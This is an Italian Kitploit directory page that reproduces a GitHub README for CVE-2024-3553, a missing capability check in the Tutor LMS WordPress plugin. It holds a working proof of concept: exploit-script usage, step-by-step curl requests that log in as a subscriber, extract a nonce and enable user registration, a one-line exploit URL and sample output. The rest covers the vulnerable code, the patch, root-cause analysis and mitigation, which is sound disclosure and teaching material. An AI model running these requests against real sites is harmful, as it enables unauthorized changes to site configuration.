Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/randomrobbiebf/cve-2024-3553
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubrandomrobbiebf/cve-2024-3553

CVE-2024-3553

CVE-2024-3553: Tutor LMS <= 2.6.2 - Vulnerabilità di autorizzazione mancante che consente a utenti autenticati di abilitare la registrazione degli utenti

Vedi Repository
18 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-3553

Tutor LMS <= 2.6.2 - Autorizzazione mancante per aggiornamento non autenticato di opzioni limitate

Il plugin Tutor LMS – soluzione eLearning e corsi online per WordPress è vulnerabile a modifiche non autorizzate dei dati a causa di un controllo di capacità mancante sulla funzione hide_notices() in tutte le versioni fino alla 2.6.2 inclusa. Ciò consente a attaccanti autenticati (inclusi utenti con privilegi bassi come gli abbonati) di abilitare la registrazione utente su siti in cui potrebbe essere stata disabilitata dagli amministratori.

Dettagli

  • Tipo: plugin
  • Slug: tutor
  • Versione interessata: 2.6.2
  • Punteggio CVSS: 6.5
  • Valutazione CVSS: Media
  • Vettore CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
  • CVE: CVE-2024-3553
  • Stato: Attivo

POC

Sfruttamento automatico

È disponibile un exploit Python completo: exploit-cve-2024-3553-v2.py

root@kitploit:~
# Full automated exploitation
python3 exploit-cve-2024-3553-v2.py https://target.com --username subscriber --password password123

# Check registration status only
python3 exploit-cve-2024-3553-v2.py https://target.com --check-only

Sfruttamento manuale

Prerequisiti:

  • Qualsiasi account autenticato (subscriber, contributor, ecc.)
  • Plugin Tutor LMS installato e attivato

Passo 1: Accedi come utente con privilegi bassi

root@kitploit:~
# Login as subscriber or any authenticated user
curl -c cookies.txt -d "log=subscriber&pwd=password123" \
  https://target.com/wp-login.php

Passo 2: Estrai nonce dall'area di amministrazione

root@kitploit:~
# Any authenticated user can access /wp-admin/ (even subscribers)
curl -b cookies.txt https://target.com/wp-admin/ | grep -o '_wpnonce=[^"&]*' | head -1

Passo 3: Esegui l'exploit

root@kitploit:~
# Send request to enable user registration
curl -b cookies.txt \
  "https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=NONCE_HERE"

Passo 4: Verifica il successo

root@kitploit:~
# Check if registration is now enabled
curl https://target.com/wp-login.php?action=register | grep -q "user_login" && echo "Registration ENABLED" || echo "Registration DISABLED"

Sfruttamento in una riga

root@kitploit:~
# As any authenticated user, simply visit:
https://target.com/wp-admin/index.php?tutor-hide-notice=registration&tutor-registration=enable&_wpnonce=<NONCE>

Esempio di output

root@kitploit:~
======================================================================
Exploit CVE-2024-3553 - Autorizzazione mancante in Tutor LMS
Target: https://target.com
======================================================================

[*] Controllo dello stato attuale della registrazione...
[+] La registrazione è attualmente DISABILITATA

[*] Tentativo di accesso come: subscriber
[+] Accesso riuscito come: subscriber

[*] Passo 2: Estrazione del nonce dall'area di amministrazione...
[+] Nonce trovato: abc123def456

[*] Passo 3: Esecuzione dell'exploit per abilitare la registrazione utente...
[*] Target: https://target.com
[*] Nonce utilizzato: abc123def456
[*] URL exploit: https://target.com/wp-admin/index.php
[*] Parametri: {'tutor-hide-notice': 'registration', 'tutor-registration': 'enable', '_wpnonce': 'abc123def456'}
[*] Stato risposta: 200
[+] Richiesta exploit inviata con successo!

[*] Passo 4: Verifica del successo dello sfruttamento...
[+] La registrazione è attualmente ABILITATA

======================================================================
[!] SFRUTTAMENTO RIUSCITO!
[!] La registrazione utente è ora ABILITATA
[!]
[!] Impatto: Un attaccante con un account a bassi privilegi (subscriber)
[!] è riuscito ad abilitare la registrazione utente su un sito dove era
[!] disabilitata. Ciò potrebbe consentire la creazione di account aggiuntivi,
[!] portando potenzialmente a spam o accesso non autorizzato.
======================================================================

Codice vulnerabile

File: /classes/User.php (righe ~800-815)

root@kitploit:~
public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // CRITICAL FLAW: is_admin() only checks if in admin area, NOT user role!
    if ( is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            // NO CAPABILITY CHECK - Any authenticated user can execute this!
            update_option( 'users_can_register', 1 );
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

Punti chiave della vulnerabilità:

  1. is_admin() verifica solo che la richiesta sia a una pagina di amministrazione, NON che l'utente sia un amministratore
  2. QUALSIASI utente autenticato può accedere a /wp-admin/ (anche gli abbonati)
  3. Il controllo del nonce verifica che la richiesta sia intenzionale, ma NON che l'utente abbia i permessi adeguati
  4. Mancante: controllo della capacità current_user_can('manage_options')
  5. Ciò consente a QUALSIASI utente autenticato di modificare l'opzione users_can_register

Patch (v2.7.0)

File: /classes/User.php (Versione patchata)

root@kitploit:~
public function hide_notices() {
    $hide_notice         = Input::get( 'tutor-hide-notice', '' );
    $is_register_enabled = Input::get( 'tutor-registration', '' );

    // SECURITY FIX: Added capability check
    $has_manage_cap = current_user_can( 'manage_options' );

    if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
        tutor_utils()->checking_nonce( 'get' );

        if ( 'enable' === $is_register_enabled ) {
            update_option( 'users_can_register', 1 );  // Now properly protected
        } else {
            self::$hide_registration_notice = true;
            setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
        }
    }
}

La patch aggiunge current_user_can('manage_options') per verificare che l'utente abbia privilegi di amministratore prima di consentire l'aggiornamento dell'opzione.

Impatto

  • Gravità media: Sebbene non comprometta direttamente il sito, questa vulnerabilità consente:
    • Bypass dei controlli amministrativi
    • Abilitazione della registrazione utente su siti protetti/privati
    • Potenziale creazione di account spam
    • Elusione delle politiche di sicurezza del sito
    • Modifica non autorizzata della configurazione del sito

Analisi della causa principale

Errore comune di sicurezza in WordPress

Questa vulnerabilità dimostra una comprensione errata critica delle funzioni di autorizzazione di WordPress:

SBAGLIATO ❌:

root@kitploit:~
if ( is_admin() ) {
    // Pensando che significhi "l'utente è un amministratore"
    update_option( 'sensitive_option', $value );
}

CORRETTO ✅:

root@kitploit:~
if ( current_user_can( 'manage_options' ) ) {
    // Verifica effettivamente se l'utente ha capacità di amministratore
    update_option( 'sensitive_option', $value );
}

Confronto delle funzioni

FunzioneCosa controlla effettivamenteUtilizzo per la sicurezza
is_admin()Se l'URL corrente è in /wp-admin/❌ NON per autorizzazione
current_user_can()Se l'utente ha una capacità specifica✅ Autorizzazione corretta
wp_verify_nonce()Se la richiesta è intenzionale (protezione CSRF)✅ Ma NON sufficiente da sola

Necessaria difesa in profondità

La sicurezza di WordPress richiede molteplici livelli:

  1. Validazione nonce - Previene attacchi CSRF
  2. Controlli di capacità - Assicura autorizzazione corretta
  3. Sanitizzazione dell'input - Previene attacchi di injection

La mancanza di QUALSIASI di questi livelli può portare a vulnerabilità.

Mitigazione

Per amministratori del sito:

Aggiornare immediatamente a Tutor LMS versione 2.7.0 o successiva:

root@kitploit:~
# Via WP-CLI
wp plugin update tutor --version=2.7.0

# Via WordPress Admin
Dashboard → Plugin → Trova "Tutor LMS" → Clicca "Aggiorna ora"

Controlla modifiche recenti:

root@kitploit:~
# Verifica se l'impostazione di registrazione è stata modificata di recente
wp option get users_can_register

# Esamina le registrazioni utente recenti
wp user list --orderby=registered --order=DESC --number=20

Lezioni di sicurezza

Per sviluppatori

  1. Non fare mai affidamento solo su is_admin() per l'autorizzazione
  2. Utilizza sempre current_user_can() per i controlli di capacità
  3. Combina la validazione del nonce CON i controlli di capacità
  4. Segui gli standard di codifica WordPress per la sicurezza
  5. Testa con account a bassi privilegi durante lo sviluppo

Metodologia di test

Quando si esaminano plugin WordPress per problemi di autorizzazione:

root@kitploit:~
# 1. Cerca is_admin() senza controlli di capacità
grep -r "is_admin()" . | grep -v "current_user_can"

# 2. Cerca aggiornamenti diretti delle opzioni
grep -r "update_option\|add_option" .

# 3. Trova gestori AJAX senza controlli di capacità
grep -r "wp_ajax_" . -A 10 | grep -v "current_user_can"

Riferimenti

  • Wordfence Advisory: https://www.wordfence.com/threat-intel/vulnerabilities/id/f8d4029e-07b0-4ceb-ae6e-11a3f7416ebc?source=cve
  • WordPress Trac Patch: https://plugins.trac.wordpress.org/changeset/3076302/tutor/tags/2.7.0/classes/User.php
  • WordPress Capability Reference: https://wordpress.org/documentation/article/roles-and-capabilities/
  • WPScan Entry: https://wpscan.com/vulnerability/cve-2024-3553

File in questo repository

  • README.md - Questo file
  • exploit-cve-2024-3553.py - Exploit Python base
  • exploit-cve-2024-3553-v2.py - Exploit Python migliorato con documentazione dettagliata
  • manual-exploit-cve-2024-3553.sh - Script di sfruttamento manuale
  • test-cve-2024-3553-direct.sh - Script di verifica diretta

Scoperto: 2024-04-15 Divulgato: 2024-05-20 Patchato: 2024-05-21 (v2.7.0) Data del test: 2025-12-26 Classificazione: Validazione riuscita della vulnerabilità

Scarica lo strumento